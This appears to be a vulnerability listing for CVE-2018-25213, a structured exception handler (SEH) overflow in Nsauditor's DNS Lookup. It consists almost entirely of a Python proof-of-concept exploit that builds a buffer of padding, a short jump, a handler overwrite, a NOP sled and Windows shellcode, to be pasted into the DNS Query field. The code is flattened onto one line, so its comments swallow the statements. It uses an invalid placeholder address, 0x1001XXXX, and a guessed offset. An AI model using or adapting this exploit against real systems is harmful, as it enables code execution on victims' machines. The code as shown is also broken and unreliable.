CVE-2018-25213 Nsauditor SEH缓冲区溢出漏洞

#!/usr/bin/python # PoC for CVE-2018-25213 - Nsauditor DNS Lookup SEH Overflow # Usage: Copy the generated buffer and paste it into the DNS Query field. import struct # Shellcode (calc.exe for demonstration purposes) # 32-bit windows shellcode shellcode = ("\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0\xCC") # Padding to reach the SEH handler offset # Note: Offsets need to be adjusted based on exact version/debugging # Assuming a typical offset for demonstration padding = "\x41" * 524 # SEH Handler overwrite (pop pop ret instruction address) # Replace 0x1001XXXX with a valid address from a non-ASLR module seh_handler = struct.pack('<I', 0x1001XXXX) # Short jump to shellcode (EB 06 90 90) nop_sled = "\x90" * 8 # Final Payload payload = padding + "\xEB\x06\x90\x90" + seh_handler + nop_sled + shellcode print("[+] Payload generated successfully.") print("[+] Length: %d" % len(payload)) print("Payload:") print(payload)